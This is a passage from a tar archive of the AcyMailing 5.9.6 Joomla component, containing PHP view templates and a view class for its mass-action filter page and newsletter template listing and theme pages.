					foreach($this->filteredUsers['users'] as $user){
						?>
						<tr class="row<?php echo $k; ?>">
							<td align="center" style="text-align:center"><?php echo $user->subid; ?></td>
							<td align="center" style="text-align:center"><?php echo $user->name; ?></td>
							<td align="center" style="text-align:center"><?php echo '<a href="'.acymailing_completeLink('subscriber&task=edit&subid='.$user->subid).'" target="_blank">'.$user->email.'</a>'; ?></td>
						</tr>
						<?php
						$k = 1 - $k;
					} ?>
					</tbody>
				</table>
			</div>
		</div>
	<?php } ?>
	<form action="<?php echo acymailing_completeLink('filter', acymailing_isNoTemplate()); ?>" method="post" name="adminForm" id="adminForm" autocomplete="off">
		<?php if(acymailing_isNoTemplate()){
			if(empty($this->subid)){
				acymailing_display(acymailing_translation('PLEASE_SELECT_USERS'), 'warning');
				return;
			}
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->custom('process', acymailing_translation('PROCESS'), 'process', false);
			$acyToolbar->setTitle(acymailing_translation('ACTIONS'), '');
			$acyToolbar->topfixed = false;
			$acyToolbar->display();

			$subIds = explode(',', $this->subid);
			acymailing_arrayToInteger($subIds);
			$this->subid = implode(',', $subIds);
			?>

			<input type="hidden" name="subid" value="<?php echo $this->subid; ?>"/>
		<?php } ?>
		<div class="acyblockoptions" id="filterinfo" <?php if(empty($this->filter->filid)) echo 'style="display:none"'; ?> >
			<span class="acyblocktitle"><?php echo acymailing_translation('ACY_FILTER'); ?></span>
			<table width="100%" class="paramlist admintable">
				<tr>
					<td class="paramlist_key">
						<label for="title"><?php echo acymailing_translation('ACY_TITLE'); ?></label>
					</td>
					<td class="paramlist_value">
						<input class="inputbox" id="title" type="text" name="data[filter][name]" style="width:250px" value="<?php echo $this->escape(@$this->filter->name); ?>"/>
					</td>
					<td width="50%" rowspan="3" class="acyfiltertriggertitle">
						<span class="acyblocktitle"><?php echo acymailing_translation('AUTO_TRIGGER_FILTER'); ?></span>
						<?php foreach($this->triggers as $key => $triggerName){ ?>
							<?php if(is_object($triggerName)){
								echo $triggerName->name;
								foreach($triggerName->triggers as $subkey => $subTriggerName){ ?>
									<div class="acyautofiltertriggers">
										<input id="trigger_<?php echo $subkey; ?>" type="checkbox" name="trigger[<?php echo $subkey; ?>]" value="1" <?php if(isset($this->filter->trigger[$subkey])) echo 'checked="checked"'; ?> />
										<label for="trigger_<?php echo $subkey; ?>"><?php echo $subTriggerName; ?></label>
									</div>
								<?php }
							}else{ ?>
								<div class="acyautofiltertriggers">
									<input id="trigger_<?php echo $key; ?>" type="checkbox" name="trigger[<?php echo $key; ?>]" value="1" <?php if(isset($this->filter->trigger[$key])) echo 'checked="checked"'; ?> />
									<label for="trigger_<?php echo $key; ?>"><?php echo $triggerName; ?></label><?php echo ($key == 'daycron') ? ' '.$this->hours.' : '.$this->minutes.' '.$this->nextDate : ''; ?>
								</div>
							<?php } ?>
						<?php } ?>
					</td>
				</tr>
				<tr>
					<td class="paramlist_key" valign="top">
						<label for="description"><?php echo acymailing_translation('ACY_DESCRIPTION'); ?></label>
					</td>
					<td class="paramlist_value" valign="top">
						<textarea id="description" style="width:300px;" rows="5" name="data[filter][description]"><?php echo @$this->filter->description; ?></textarea>
					</td>
				</tr>
				<tr>
					<td class="paramlist_key">
						<label for="published"><?php echo acymailing_translation('ACY_PUBLISHED'); ?></label>
					</td>
					<td class="paramlist_value">
						<?php echo acymailing_boolean("data[filter][published]", '', @$this->filter->published); ?>
					</td>
				</tr>
			</table>
		</div>
		<?php if(empty($this->subid)){ ?>
			<div class="acyblockoptions" id="filters_block">
				<span class="acyblocktitle"><?php echo acymailing_translation('ACY_FILTERS'); ?></span>
				<button id="acyorbutton" class="acymailing_button" onclick="addOrBlock();return false;"><?php echo ucfirst(acymailing_translation('ACY_OR')); ?></button>
			</div>
		<?php } ?>
		<div class="acyblockoptions" id="actions_block">
			<span class="acyblocktitle"><?php echo acymailing_translation('ACTIONS'); ?></span>

			<div id="allactions"></div>
			<button class="acymailing_button" onclick="addAction();return false;"><?php echo acymailing_translation('ADD_ACTION'); ?></button>
		</div>

		<div class="clr"></div>

		<input type="hidden" name="filid" value="<?php echo @$this->filter->filid; ?>"/>
		<input type="hidden" name="limitstart" value="0">

		<?php acymailing_formOptions($this->pageInfo->filter->order); ?>
		<!--</form>-->
		<?php if(!empty($this->subid)){ ?>
			<div class="acyblockoptions" id="selectedUsers">
				<span class="acyblocktitle"><?php echo acymailing_translation('USERS'); ?></span>

				<div style="display:none"></div>
				<table class="acymailing_table" cellpadding="1">
					<?php
					$k = 0;
					foreach($this->users as $row){
						?>
						<tr class="<?php echo "row$k"; ?>">
							<td><?php echo $row->name; ?></td>
							<td><?php echo $row->email; ?></td>
						</tr>
						<?php $k = 1 - $k;
					}

					if(count($this->users) >= 10){
						?>
						<tr class="<?php echo "row$k"; ?>">
							<td>...</td>
							<td>...</td>
						</tr>
					<?php } ?>
				</table>
			</div>
		<?php } ?>
		<?php if(!(empty($this->filters) && $this->pageInfo->search == "")){ ?>
			<br/><br/>
			<div class="acyblockoptions" id="existing_filters">
				<span class="acyblocktitle"><?php echo acymailing_translation('EXISTING_FILTERS'); ?></span>
				<table class="acymailing_table_options">
					<tr>
						<td width="100%">
							<?php acymailing_listingsearch($this->pageInfo->search); ?>
						</td>
					</tr>
				</table>
				<table class="acymailing_table" cellpadding="1">
					<thead>
					<tr>
						<th class="title">
							<?php echo acymailing_gridSort(acymailing_translation('ACY_FILTER'), 'name', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
						</th>
						<th class="title titletoggle">
							<?php echo acymailing_translation('ACY_PUBLISHED'); ?>
						</th>
						<th class="title titletoggle">
							<?php echo acymailing_translation('ACY_DELETE'); ?>
						</th>
						<th class="title titleid">
							<?php echo acymailing_gridSort(acymailing_translation('ACY_ID'), 'filid', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
						</th>
					</tr>
					</thead>
					<tbody>
					<?php
					$k = 0;
					foreach($this->filters as $row){
						$publishedid = 'published_'.$row->filid;
						$id = 'filter_'.$row->filid;
						?>
						<tr class="<?php echo "row$k"; ?>" id="<?php echo $id; ?>">
							<td>
								<?php echo acymailing_tooltip($row->description, $row->name, '', $row->name, acymailing_completeLink('filter&task=edit&filid='.$row->filid)); ?>
							</td>
							<td align="center" style="text-align:center">
								<span id="<?php echo $publishedid ?>" class="loading"><?php echo $this->toggleClass->toggle($publishedid, (int)$row->published, 'filter') ?></span>
							</td>
							<td align="center" style="text-align:center">
								<?php echo $this->toggleClass->delete($id, $row->filid.'_'.$row->filid, 'filter', true); ?>
							</td>
							<td width="1%" align="center">
								<?php echo $row->filid; ?>
							</td>
						</tr>
						<?php
						$k = 1 - $k;
					}
					?>
					</tbody>
				</table>
			</div>
		<?php } ?>
		<div class="clr"></div>
	</form>
</div>
com_acymailing/views/filter/tmpl/load.php000060400000003552152455305300014550 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php
acymailing_cmsLoaded();
?>
<table class="adminlist table table-striped table-hover" cellpadding="1">
	<thead>
		<tr>
			<th class="title">
				<?php echo acymailing_translation('ACY_FILTER'); ?>
			</th>
			<th class="title titletoggle">
				<?php echo acymailing_translation('PUBLISHED'); ?>
			</th>
			<th class="title titletoggle" >
				<?php echo acymailing_translation( 'DELETE' ); ?>
			</th>
			<th class="title titleid">
				<?php echo acymailing_translation( 'ACY_ID' ); ?>
			</th>
		</tr>
	</thead>
	<tbody>
		<?php
			$k = 0;
			foreach($this->filters as $row){
				$publishedid = 'published_'.$row->filid;
				$id = 'filter_'.$row->filid;
		?>
			<tr class="<?php echo "row$k"; ?>" id="<?php echo $id; ?>">
				<td style="cursor:pointer" onclick="window.top.location.href = '<?php echo acymailing_completeLink('filter&task=edit&filid='.$row->filid); ?>';">
					<?php
						echo acymailing_tooltip($row->description, $row->name, '', $row->name);
					?>
				</td>
				<td align="center" style="text-align:center" >
						<span id="<?php echo $publishedid ?>" class="loading"><?php echo $this->toggleClass->toggle($publishedid,(int) $row->published,'filter') ?></span>
				</td>
				<td align="center" style="text-align:center" >
					<?php echo $this->toggleClass->delete($id,$row->filid.'_'.$row->filid,'filter',true); ?>
				</td>
				<td width="1%" align="center" style="cursor:pointer" onclick="window.top.location.href = '<?php echo acymailing_completeLink('filter&task=edit&filid='.$row->filid); ?>';">
					<?php echo $row->filid; ?>
				</td>
			</tr>
		<?php
				$k = 1-$k;
			}
		?>
	</tbody>
</table>

com_acymailing/views/filter/view.html.php000060400000031521152455305300014567 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class FilterViewFilter extends acymailingView{

	var $chosen = false;

	function display($tpl = null){
		$function = $this->getLayout();
		if(method_exists($this, $function)) $this->$function();

		parent::display($tpl);
	}

	function form(){

		$config = acymailing_config();
		$pageInfo = new stdClass();
		$pageInfo->filter = new stdClass();
		$pageInfo->filter->order = new stdClass();
		$pageInfo->limit = new stdClass();
		$pageInfo->elements = new stdClass();

		$paramBase = ACYMAILING_COMPONENT.'.'.$this->getName();

		$pageInfo->filter->order->value = acymailing_getUserVar($paramBase.".filter_order", 'filter_order', 'name', 'cmd');
		$pageInfo->filter->order->dir = acymailing_getUserVar($paramBase.".filter_order_Dir", 'filter_order_Dir', 'asc', 'word');
		if(strtolower($pageInfo->filter->order->dir) !== 'desc') $pageInfo->filter->order->dir = 'asc';
		$pageInfo->search = acymailing_getUserVar($paramBase.".search", 'search', '', 'string');
		$pageInfo->search = strtolower(trim($pageInfo->search));


		$pageInfo->limit->value = acymailing_getUserVar($paramBase.'.list_limit', 'limit', acymailing_getCMSConfig('list_limit'), 'int');
		$pageInfo->limit->start = acymailing_getUserVar($paramBase.'.limitstart', 'limitstart', 0, 'int');

		if(acymailing_getVar('none', 'task') == 'filterDisplayUsers'){
			$action = array();
			$action['type'] = array(0 => array('displayUsers'));
			$action[] = array('displayUsers' => array());

			$filterClass = acymailing_get('class.filter');
			$filterClass->subid = acymailing_getVar('string', 'subid');
			$filterClass->execute(acymailing_getVar('none', 'filter'), $action, 200000);

			if(!empty($filterClass->report)){
				$this->filteredUsers = $filterClass->report[0];
			}
		}

		$filid = acymailing_getCID('filid');

		$filterClass = acymailing_get('class.filter');
		if(!empty($filid) && acymailing_getVar('cmd', 'task', '') != 'filterDisplayUsers'){
			$filter = $filterClass->get($filid);
		}else{
			$filter = new stdClass();
			$filter->action = acymailing_getVar('none', 'action');
			$filter->filter = acymailing_getVar('none', 'filter');
			$filter->published = 1;
		}

		acymailing_importPlugin('acymailing');

		$typesFilters = array();
		$typesActions = array();

		$outputFilters = implode('', acymailing_trigger('onAcyDisplayFilters', array(&$typesFilters, 'massactions')));
		$outputActions = implode('', acymailing_trigger('onAcyDisplayActions', array(&$typesActions)));

		$typevaluesFilters = array();
		$typevaluesActions = array();
		$typevaluesFilters[] = acymailing_selectOption('', acymailing_translation('FILTER_SELECT'));
		$typevaluesActions[] = acymailing_selectOption('', acymailing_translation('ACTION_SELECT'));
		foreach($typesFilters as $oneType => $oneName){
			$typevaluesFilters[] = acymailing_selectOption($oneType, $oneName);
		}
		foreach($typesActions as $oneType => $oneName){
			$typevaluesActions[] = acymailing_selectOption($oneType, $oneName);
		}

		$js = "function updateAction(actionNum){
				var actiontype = window.document.getElementById('actiontype'+actionNum);
				if(actiontype == 'undefined' || actiontype == null) return;
				currentActionType = actiontype.value;
				if(!currentActionType){
					window.document.getElementById('actionarea_'+actionNum).innerHTML = '';
					return;
				}
				actionArea = 'action__num__'+currentActionType;
				window.document.getElementById('actionarea_'+actionNum).innerHTML = window.document.getElementById(actionArea).innerHTML.replace(/__num__/g,actionNum);
				if(typeof(window['onAcyDisplayAction_'+currentActionType]) == 'function') {
					try{ window['onAcyDisplayAction_'+currentActionType](actionNum); }catch(e){alert('Error in the onAcyDisplayAction_'+currentActionType+' function : '+e); }
				}

			}";

		$js .= "var numActions = 0;
				function addAction(){
					var newdiv = document.createElement('div');
					newdiv.id = 'action'+numActions;
					newdiv.className = 'plugarea';
					newdiv.innerHTML = document.getElementById('actions_original').innerHTML.replace(/__num__/g, numActions);
					var allactions = document.getElementById('allactions');
					if(allactions != 'undefined' && allactions != null){
						allactions.appendChild(newdiv);
						updateAction(numActions);
						numActions++;
						
						if(numActions > 1){
							var del = document.createElement('i');
							del.setAttribute('class', 'acyicon-cancel deleteFilter');
							del.onclick = function(){
								this.parentNode.remove(); 
								return false;
							}
							var num = numActions - 1;
							var sp2 = document.getElementById('actiontype' + num.toString());
							var parentDiv = sp2.parentNode;
							parentDiv.insertBefore(del, sp2.nextSibling);
						}
					}
				}
				";

		$js .= "document.addEventListener(\"DOMContentLoaded\", function(){ addAction(); });";

		$js .= '
			document.addEventListener("DOMContentLoaded", function(){
				acymailing.submitbutton = function(pressbutton) {
					if (pressbutton != \'save\') {
						acymailing.submitform(pressbutton,document.adminForm);
						return;
					}';
		if(ACYMAILING_J30){
			$js .= "if(window.document.getElementById('filterinfo').style.display == 'none'){
						window.document.getElementById('filterinfo').style.display = 'block';
						return false;}
					if(window.document.getElementById('title').value.length < 2){alert('".acymailing_translation('ENTER_TITLE', true)."'); return false;}";
		}else{
			$js .= "if(window.document.getElementById('filterinfo').style.display == 'none'){
						window.document.getElementById('filterinfo').style.display = 'block';
						return false;}
					if(window.document.getElementById('title').value.length < 2){alert('".acymailing_translation('ENTER_TITLE', true)."'); return false;}";
		}
		
		$js .= "
					acymailing.submitform(pressbutton,document.adminForm);
				};
			 }); ";

		acymailing_addScript(true, $js);

		$filterClass->addJSFilterFunctions();

		$js = '';
		$data = array('action', 'filter');

		foreach($data as $datatype){
			if(empty($filter->$datatype)) continue;
			$blockNum = 0;
			$dataNum = 0;
			foreach($filter->{$datatype}['type'] as $block => $oneFilter){
				if($datatype == 'action'){
					$jsFunction = 'addAction();';
				}else{
					$jsFunction = '
						if(!document.getElementById(\'addButton_'.$blockNum.'\')) addOrBlock();
						document.getElementById(\'addButton_'.$blockNum.'\').click();';
				}

				foreach($oneFilter as $num => $oneType) {
					if(empty($oneType)) continue;

					$js .= "
						
						if(!document.getElementById('" . $datatype . "type$dataNum')){
							" . $jsFunction . "
						}
						
						document.getElementById('" . $datatype . "type$dataNum').value = '$oneType';
						update" . ucfirst($datatype) . "($dataNum);";
					if(empty($filter->{$datatype}[$num][$oneType])) continue;

					foreach($filter->{$datatype}[$num][$oneType] as $key => $value) {
						if (is_array($value)) {
							$js .= "try{\r\n";
							foreach ($value as $subkey => $subval) {
								$js .= "document.adminForm.elements['" . $datatype . "[$dataNum][$oneType][$key][$subkey]'].value = '" . addslashes(str_replace(array("\n", "\r"), ' ', $subval)) . "';\r\n";
								$js .= "if(document.adminForm.elements['" . $datatype . "[$dataNum][$oneType][$key][$subkey]'].type && document.adminForm.elements['" . $datatype . "[$dataNum][$oneType][$key][$subkey]'].type == 'checkbox'){
									document.adminForm.elements['" . $datatype . "[$dataNum][$oneType][$key][$subkey]'].checked = 'checked';
								}\r\n";
							}
							$js .= "}catch(e){}";
						}
						$myVal = is_array($value) ? implode(',', $value) : $value;
						$js .= "
						try{
							document.adminForm.elements['" . $datatype . "[$dataNum][$oneType][$key]'].value = '" . addslashes(str_replace(array("\n", "\r"), ' ', $myVal)) . "';
							if(document.adminForm.elements['" . $datatype . "[$dataNum][$oneType][$key]'].type && document.adminForm.elements['" . $datatype . "[$dataNum][$oneType][$key]'].type == 'checkbox'){
								document.adminForm.elements['" . $datatype . "[$dataNum][$oneType][$key]'].checked = 'checked';
							}
						}catch(e){}";
					}

					$js .= "
						if(typeof(onAcyDisplay" . ucfirst($datatype) . "_" . $oneType . ") == 'function'){
							try{
								onAcyDisplay" . ucfirst($datatype) . "_" . $oneType . "($dataNum);
							}catch(e){
								alert('Error in the onAcyDisplay" . ucfirst($datatype) . "_" . $oneType . " function : '+e);
							}
						}";

					if($datatype == 'filter') $js .= " countresults($dataNum);";
					$dataNum++;
				}
				$blockNum++;
			}
		}

		$listid = acymailing_getVar('int', 'listid');
		if(!empty($listid)){
			$js .= "
				document.getElementById('actiontype0').value = 'list';
				updateAction(0);
				document.adminForm.elements['action[0][list][selectedlist]'].value = '".$listid."';";
		}

		acymailing_addScript(true, "document.addEventListener(\"DOMContentLoaded\", function(){ $js });");

		$triggers = array();
		$triggers['daycron'] = acymailing_translation('AUTO_CRON_FILTER');

		if(empty($filter->daycron)){
			$nextDate = $config->get('cron_plugins_next', time());
		}else{
			$nextDate = $filter->daycron;
		}

		$listHours = array();
		$listMinutess = array();
		for($i = 0; $i < 24; $i++){              
			$value = $i < 10 ? '0'.$i : $i;
			$listHours[] = acymailing_selectOption($value, $value);
		}
		$hours = acymailing_select($listHours, 'triggerhours', 'class="inputbox" size="1" style="width:60px;"', 'value', 'text', acymailing_getDate($nextDate, 'H'));
		for($i = 0; $i < 60; $i += 5){          
			$value = $i < 10 ? '0'.$i : $i;
			$listMinutess[] = acymailing_selectOption($value, $value);
		}
		$defaultMin = floor(acymailing_getDate($nextDate, 'i') / 5) * 5;
		$minutes = acymailing_select($listMinutess, 'triggerminutes', 'class="inputbox" size="1" style="width:60px;"', 'value', 'text', $defaultMin);
		$this->hours = $hours;
		$this->minutes = $minutes;

		$this->nextDate = !empty($nextDate) ? ' ('.acymailing_translation('NEXT_RUN').' : '.acymailing_getDate($nextDate, '%d %B %Y  %H:%M').')' : '';

		$triggers['allcron'] = acymailing_translation('ACY_EACH_TIME');
		$triggers['subcreate'] = acymailing_translation('ON_USER_CREATE');
		$triggers['subchange'] = acymailing_translation('ON_USER_CHANGE');
		acymailing_trigger('onAcyDisplayTriggers', array(&$triggers));

		$name = empty($filter->name) ? '' : ' : '.$filter->name;

		if(!acymailing_isNoTemplate()){
			$acyToolbar = acymailing_get('helper.toolbar');
			$acyToolbar->custom('filterDisplayUsers', acymailing_translation('FILTER_VIEW_USERS'), 'user', false, '');
			$acyToolbar->custom('process', acymailing_translation('PROCESS'), 'process', false, '');
			$acyToolbar->divider();
			if(acymailing_level(3)){
				$acyToolbar->save();
				if(!empty($filter->filid)) $acyToolbar->link(acymailing_completeLink('filter&task=edit&filid=0'), acymailing_translation('ACY_NEW'), 'new');
			}
			$acyToolbar->link(acymailing_completeLink('dashboard'), acymailing_translation('ACY_CLOSE'), 'cancel');
			$acyToolbar->divider();
			$acyToolbar->help('filter');
			$acyToolbar->setTitle(acymailing_translation('ACY_MASS_ACTIONS').$name, 'filter&task=edit&filid='.$filid);
			$acyToolbar->display();
		}else{
			acymailing_setPageTitle(acymailing_translation('ACY_MASS_ACTIONS').$name);
		}

		$subid = acymailing_getVar('string', 'subid');
		if(!empty($subid)){
			$subArray = explode(',', trim($subid, ','));
			acymailing_arrayToInteger($subArray);

			$users = acymailing_loadObjectList('SELECT `name`,`email` FROM `#__acymailing_subscriber` WHERE `subid` IN ('.implode(',', $subArray).')');
			if(!empty($users)){
				$this->users = $users;
				$this->subid = $subid;
			}
		}

		$this->typevaluesFilters = $typevaluesFilters;
		$this->typevaluesActions = $typevaluesActions;
		$this->outputFilters = $outputFilters;
		$this->outputActions = $outputActions;
		$this->filter = $filter;
		$this->pageInfo = $pageInfo;

		$this->triggers = $triggers;
		if(acymailing_isNoTemplate()){
			acymailing_addStyle(false, ACYMAILING_CSS.'frontendedition.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'frontendedition.css'));
		}

		if(acymailing_level(3) && !acymailing_isNoTemplate()){
			$query = 'SELECT * FROM '.acymailing_table('filter');

			if(!empty($pageInfo->search)){
				$searchVal = '\'%'.acymailing_getEscaped($pageInfo->search, true).'%\'';
				$query .= ' WHERE LOWER(name) LIKE'.$searchVal;
			}

			if(!empty($pageInfo->filter->order->value) && (($pageInfo->filter->order->value === "name") || ($pageInfo->filter->order->value === "filid"))){
				$query .= ' ORDER BY '.$pageInfo->filter->order->value.' '.$pageInfo->filter->order->dir;
			}

			$filters = acymailing_loadObjectList($query);

			$toggleClass = acymailing_get('helper.toggle');
			$this->toggleClass = $toggleClass;
			$this->filters = $filters;
		}
	}
}
com_acymailing/views/template/index.html000060400000000054152455305300014461 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/template/tmpl/index.html000060400000000054152455305300015435 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/views/template/tmpl/listing.php000060400000011230152455305300015620 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div id="acy_content">
	<div id="iframedoc"></div>
	<?php $saveOrder = $this->pageInfo->filter->order->value == 'a.ordering' && strtolower($this->pageInfo->filter->order->dir) == 'asc';	?>
	<form action="<?php echo acymailing_completeLink('template'); ?>" method="post" name="adminForm" id="adminForm">
		<table class="acymailing_table_options">
			<tr>
				<td width="100%">
					<?php acymailing_listingsearch($this->pageInfo->search); ?>
				</td>
				<td nowrap="nowrap">
					<?php
					?>
				</td>
			</tr>
		</table>

		<table class="acymailing_table" cellpadding="1" id="templateListing">
			<thead>
			<tr>
				<th class="title titlenum">
					<?php echo acymailing_translation('ACY_NUM'); ?>
				</th>
				<th class="title titleorder" style="width:32px !important; padding-left:1px; padding-right:1px;">
					<?php echo acymailing_gridSort('<i class="icon-menu-2"></i>', 'a.ordering', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value, null, 'asc', 'JGRID_HEADING_ORDERING'); ?>
				</th>
				<th class="title titlebox">
					<input type="checkbox" name="toggle" value="" onclick="acymailing.checkAll(this);"/>
				</th>
				<th class="title">
					<?php echo acymailing_gridSort(acymailing_translation('ACY_TEMPLATE'), 'a.name', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title titletoggle">
					<?php echo acymailing_gridSort(acymailing_translation('ACY_DEFAULT'), 'a.premium', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title titletoggle">
					<?php echo acymailing_gridSort(acymailing_translation('ACY_PUBLISHED'), 'a.published', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
				<th class="title titleid">
					<?php echo acymailing_gridSort(acymailing_translation('ACY_ID'), 'a.tempid', $this->pageInfo->filter->order->dir, $this->pageInfo->filter->order->value); ?>
				</th>
			</tr>
			</thead>
			<tfoot>
			<tr>
				<td colspan="7">
					<?php echo $this->pagination->getListFooter();
					echo $this->pagination->getResultsCounter(); ?>
				</td>
			</tr>
			</tfoot>
			<tbody id="acymailing_sortable_listing">
			<?php
			$k = 0;
			$ordering = '';

			for($i = 0, $a = count($this->rows); $i < $a; $i++){
				$row =& $this->rows[$i];
				$ordering .= ',"order['.$i.']='.$row->ordering.'"';

				$publishedid = 'published_'.$row->tempid;
				$premiumid = 'premium_'.$row->tempid;
				?>
				<tr class="<?php echo "row$k"; ?>" acyorderid="<?php echo $row->tempid; ?>">
					<td align="center" style="text-align:center;">
						<?php echo $this->pagination->getRowOffset($i); ?>
					</td>
					<?php $iconClass = 'acyicon-draghandle';
					if(!$saveOrder) $iconClass .= ' acyinactive-handler" title="Sort the listing by ordering first'; ?>
					<td class="<?php echo $iconClass; ?>"><img alt="" src="<?php echo ACYMAILING_IMAGES; ?>icons/drag.png" /></td>
					<td align="center" style="text-align:center;">
						<?php echo acymailing_gridID($i, $row->tempid); ?>
					</td>
					<td>
						<?php if(!empty($row->thumb)){ ?>
							<a href="<?php echo acymailing_completeLink('template&task=edit&tempid='.$row->tempid); ?>">
								<img class="template_thumbnail" src="<?php echo rtrim(acymailing_rootURI(), '/').'/'.strip_tags($row->thumb) ?>" style="float:left;width:100px;margin-right:10px;"/>
							</a>
						<?php } ?>
						<a href="<?php echo acymailing_completeLink('template&task=edit&tempid='.$row->tempid); ?>"><?php echo acymailing_dispSearch($row->name, $this->pageInfo->search); ?></a><br/>
						<?php echo acymailing_absoluteURL(nl2br($row->description)); ?>
					</td>
					<td align="center" style="text-align:center;">
						<span id="<?php echo $premiumid ?>"><?php echo $this->toggleClass->toggle($premiumid, $row->premium, 'template') ?></span>
					</td>
					<td align="center" style="text-align:center;">
						<span id="<?php echo $publishedid ?>"><?php echo $this->toggleClass->toggle($publishedid, $row->published, 'template') ?></span>
					</td>
					<td width="1%" align="center" style="text-align:center;">
						<?php echo acymailing_dispSearch($row->tempid, $this->pageInfo->search); ?>
					</td>
				</tr>
				<?php
				$k = 1 - $k;
			}
			?>
			</tbody>
		</table>

		<?php acymailing_formOptions($this->pageInfo->filter->order); ?>
	</form>
</div>

<?php if($saveOrder) acymailing_sortablelist('template', ltrim($ordering, ',')); ?>
com_acymailing/views/template/tmpl/theme.php000060400000012362152455305300015260 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
	div.templatedescription{
		color: #819197;
		text-align: center;
	}

	div.templatedescription img{
		display: block;
		clear: both;
		margin: auto;
		margin-bottom: 10px;
		border: 1px solid #EEEEEE;
		padding: 5px;
		background-color: #fff;
		max-height: 200px;
		max-width: 190px;
	}

	div.templatearea{
		border: 1px solid #e5e5e5;
		background-color: #fff;
		margin: 9px 7px;
		padding: 2px;
		width: 205px;
		position: relative;
		display: inline-block;
		vertical-align: top;
		background: #fff;
		text-align: center;
		cursor: pointer;
		min-height: 260px;
	}

	div.templatearea:after, div.templatearea:before{
		content: " ";
		position: absolute;
		width: 50%;
		height: 100px;
		z-index: -10;
	}

	div.templatearea:before{
		bottom: 7px;
		left: 5px;
		transform: rotate(-3deg);
		box-shadow: 7px 6px 8px #333;
	}

	div.templatearea:after{
		bottom: 7px;
		right: 5px;
		transform: rotate(3deg);
		box-shadow: -7px 6px 8px #333;
	}

	div.templatearea:hover{
		background-color: #e9ecf3;
	}

	div.templatetitle{
		color: #4a7cac;
		text-align: center;
		font-family: cursive;
		font-style: normal;
		margin-bottom: 10px;
		text-shadow: 0 1px 0 #FFFFFF;
		font-size: 14px;
	}

	body{
		background-color: #f6f7f9 !important;
		min-width: 650px !important;
		height: auto;
	}

	html{
		overflow-y: auto;
	}

	.rt-container, .rt-block{
		width: auto !important;
		background-color: #f6f7f9 !important;
	}

	#adminForm{
		text-align: center;
	}

	ul{
		list-style-type: none;
	}

	ul li{
		display: inline-block;
	}

</style>
<form action="<?php echo acymailing_completeLink((acymailing_isAdmin() ? '' : 'front').'template', true); ?>" method="post" name="adminForm" id="adminForm">
	<?php if($this->pageInfo->elements->total > $this->pageInfo->elements->page || !empty($this->pageInfo->search) || !empty($this->pageInfo->category)){ ?>
		<table class="acymailing_table_options" cellpadding="1" style="width:100%;">
			<tr>
				<td>
					<?php acymailing_listingsearch($this->pageInfo->search); ?>
				</td>
				<td>
					<?php
					if(acymailing_level(3)){
						$listcategoryType = acymailing_get('type.categoryfield');
						echo $listcategoryType->getFilter('template', 'category', $this->pageInfo->category, ' onchange="document.adminForm.limitstart.value=0;this.form.submit();" style="width:150px;"');
					}
					?>
				</td>
			</tr>
		</table>
	<?php } ?>
	<?php $num = 0;
	if(empty($this->pageInfo->limit->start)){
		$num++;
		?>
		<div class="templatearea emptytemplate" onclick="applyTemplate(0);">
			<div class="templatetitle"><?php echo acymailing_translation('ACY_NONE'); ?></div>
			<div style="display:none" id="stylesheet_0"></div>
			<div style="display:none" id="htmlcontent_0"><br/></div>
			<div style="display:none" id="textcontent_0"></div>
			<div style="display:none" id="subject_0"></div>
			<div style="display:none" id="replyname_0"></div>
			<div style="display:none" id="replyemail_0"></div>
			<div style="display:none" id="fromname_0"></div>
			<div style="display:none" id="fromemail_0"></div>
		</div>
	<?php
	}
	for($i = 0, $a = count($this->rows); $i < $a; $i++){
		$row =& $this->rows[$i];
		$row->subject = acyEmoji::Decode($row->subject);
		$num++;
		?>
		<div class="templatearea" onclick="applyTemplate(<?php echo $row->tempid?>);">
			<div class="templatetitle"><?php echo acymailing_dispSearch($row->name, $this->pageInfo->search); ?></div>
			<div class="templatedescription">
				<?php if(!empty($row->thumb)){ ?>
					<img src="<?php echo ACYMAILING_LIVE.$row->thumb ?>"/>
				<?php } ?>
				<?php echo acymailing_absoluteURL(nl2br($row->description)); ?>
			</div>
			<div style="display:none" id="stylesheet_<?php echo $row->tempid;?>"><?php echo $row->stylesheet;?></div>
			<div style="display:none" id="htmlcontent_<?php echo $row->tempid;?>"><?php echo acymailing_absoluteURL($row->body);?></div>
			<div style="display:none" id="textcontent_<?php echo $row->tempid;?>"><?php echo $row->altbody;?></div>
			<div style="display:none" id="subject_<?php echo $row->tempid;?>"><?php echo $row->subject;?></div>
			<div style="display:none" id="replyname_<?php echo $row->tempid;?>"><?php echo $row->replyname;?></div>
			<div style="display:none" id="replyemail_<?php echo $row->tempid;?>"><?php echo $row->replyemail;?></div>
			<div style="display:none" id="fromname_<?php echo $row->tempid;?>"><?php echo $row->fromname;?></div>
